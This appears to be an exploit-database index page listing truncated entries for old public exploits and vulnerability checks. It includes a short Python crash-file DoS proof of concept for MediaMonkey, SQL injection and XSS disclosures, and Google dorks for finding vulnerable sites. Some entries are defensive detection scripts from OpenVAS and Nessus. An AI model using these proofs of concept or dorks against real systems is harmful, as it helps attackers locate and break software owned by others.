MediaMonkey 3.2.1.1297 - Denial of Service (PoC)

Mediamonkey v. 3.2.1.1297 DOS POC vulnerble application link http://www.mediamonkey.com/trialpay tested on XP SP2/3 !/usr/bin/python filename = "crash.mp3" junk = "\x41" 5000 textfile = openfilename , 'w' textfile.writejunk textfile.close...

Mediamonkey v. 3.2.1.1297 DOS POC

Exploit for windows platform in category dos / poc ================================= Mediamonkey v. 3.2.1.1297 DOS POC ================================= Mediamonkey v. 3.2.1.1297 DOS POC vulnerble application link http://www.mediamonkey.com/trialpay tested on XP SP2/3 author abhishek lyall -...

Spider player .m3u playlist DOS POC

Exploit for windows platform in category dos / poc =================================== Spider player .m3u playlist DOS POC =================================== Spider player .m3u playlist DOS POC vulnerble application link http://spider-player.com/downloading?file=SpiderPlayer2.4.5Setup.exe tested...

Google Chrome 5.0.375.70 Remote Dos

Exploit for windows platform in category dos / poc =================================== Google Chrome 5.0.375.70 Remote Dos =================================== Author: PoisonCode Download Exploit Code Download Vulnerable app Title:Google Chrome 5.0.375.70 Remote Dos Software...

CMS Ariadna 2009 - SQL Injection

Exploit Title : CMS Ariadna 2009 SQL Injection Date : 2010-04-19 Author : Andrés Gómez Contact : [email protected] Dork : "allinurl: detResolucion.php?tipodocid=" Exploit in Perl Start In Next Line: use LWP::Simple; Malicious users may inject SQL querys into a vulnerable application to fo...

INVOhost - SQL Injection

INVOhost - SQL Injection Andrés Gómez Exploit Title : INVOhost SQL Injection Date : 2010-04-24 Author : Andrés Gómez Software Link : http://www.invohost.com/ Contact : [email protected] Dork : "Powered by INVOhost" An attacker may execute arbitrary SQL statements on the vulnerable system...

MoinMoin Wiki 'sys.argv' Information Disclosure Vulnerability

This host is running MoinMoin Wiki and is prone to Information Disclosure vulnerability OpenVAS Vulnerability Test $Id: gbmoinmoinwikisysargvinfodiscvuln.nasl 5306 2017-02-16 09:00:16Z teissa $ MoinMoin Wiki 'sys.argv' Information Disclosure Vulnerability Authors: Veerendra GG Copyright: Copyrigh...

XOOPS Content Module 0.5 SQL Injection Vulnerability

XOOPS is prone to an SQL injection SQLi vulnerability. SPDX-FileCopyrightText: 2009 Greenbone AG Some text descriptions might be excerpted from a referenced sources, and are Copyright C by the respective right holders. SPDX-License-Identifier: GPL-2.0-only CPE = "cpe:/a:xoops:xoops"; ifdescriptio...

You! Hostit! Cross Site Scripting

view source print? andresg888 Contact : andresg8884tgmaildotcom Web: : www.ilegalintrusion.net & www.bl4ck-p0rtal.org Dork : No DoRk f0R ScRipT KiDDieS Example:...

DPI 1.1-final Powered by Clixint XSS

No description provided by source. andresg888 Vendor : http://www.image-host-script.com/ Contact : andresg8884tgmaildotcom Web: : www.ilegalintrusion.nethttp://www.ilegalintrusion.net & www.bl4ck-p0rtal.orghttp://www.bl4ck-p0rtal.org Dork : No DoRk f0R ScRipT KiDDieS Example1:...

Huawei MT882 Modem/Router - Multiple Vulnerabilities

Version: V100R002B020 ARG-T Firmware Release: 3.7.9.98 Greets to my bests friends: DeepLook, R00T, systemfailure, Ciber34, ANDSQLiTor, LaPeke Greets to friend: Scuarplex, Crl, KiKoArg, ZeRO, DNSX, PunkiD DecodeX01atgmaildotcom Target device ip 10.0.0.2:80 default ip:port Server information...

Mozilla Firefox 'GIF' File DoS Vulnerability (Nov 2009) - Windows

Mozilla Firefox is prone to multiple denial of service DoS vulnerabilities. SPDX-FileCopyrightText: 2009 Greenbone AG Some text descriptions might be excerpted from a referenced sources, and are Copyright C by the respective right holders. SPDX-License-Identifier: GPL-2.0-only ifdescription...

CGI Generic Local File Inclusion (2nd pass)

The remote web server hosts CGI scripts that fail to adequately sanitize request strings. By leveraging this issue, an attacker may be able to include a local file and disclose its contents, or even execute arbitrary code on the remote host. %NASLMINLEVEL 70300 C Tenable Network Security, Inc...

iDefense Security Advisory 11.10.09: Microsoft Word FIB Processing Stack Buffer Overflow Vulnerability

-----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 iDefense Security Advisory 11.10.09 http://labs.idefense.com/intelligence/vulnerabilities/ Nov 10, 2009 I. BACKGROUND Microsoft Word is a word processing application that is part of the Microsoft Office suite of products. For more information about...

Multiple Vendor Telnet Client env_opt_add Buffer Overflow (CVE-2005-0468)

The TELNET protocol is designed to provide a standard method of interfacing terminal devices and terminal-oriented processes to each other. It allows a computer to act as a remote terminal of another machine on a network. The TELNET protocol allows a user to connect to a remote host in order to...

CGI Generic Local File Inclusion

The remote web server hosts CGI scripts that fail to adequately sanitize request strings. By leveraging this issue, an attacker may be able to include a local file and disclose its content. %NASLMINLEVEL 70300 C Tenable Network Security, Inc. include'deprecatednasllevel.inc'; include'compat.inc';...

Mozilla Firefox Multiple Vulnerabilities (Sep 2009) - Linux

Firefox browser is prone to multiple vulnerabilities. SPDX-FileCopyrightText: 2009 Greenbone AG Some text descriptions might be excerpted from a referenced sources, and are Copyright C by the respective right holders. SPDX-License-Identifier: GPL-2.0-only ifdescription...

JBoard - Multiple Cross-Site Scripting SQL Injections

JBoard - Multiple Cross-Site Scripting SQL Injections source: https://www.securityfocus.com/bid/42425/info JBoard is prone to multiple SQL-injection and cross-site scripting vulnerabilities because it fails to sanitize user-supplied input. Exploiting these issues could allow an attacker to steal...

HTML Email Creator <= 2.1b668 (html) Local SEH Overwrite Exploit

No description provided by source. / :::::::-. ... ::::::. :::. ;;, ';, ;; ;;;;;;;, ;;; ' . ' $$, $$$$ $$$ $$$ "Y$c$$ 888,o8P'88 .d888 888 Y88 MMMMP" "YmmMMMM"" MMM YM Discovered and Exploited by dun HTML Email Creator = 2.1 build 668 html Local SEH Overwrite Exploit Vendor:...

EZ-Blog 1b Delete All Posts / SQL Injection Vulnerabilities

No description provided by source. Salvatore "drosophila" Fresta Application: EZ-Blog http://sourceforge.net/projects/ez-blog/ Version: Beta 1 Bug: Multiple SQL Injection Exploitation: Remote Date: 1 Mar 2009 Discovered by: Salvatore "drosophila" Fresta Author: Salvatore "drosophila" Fresta e-mai...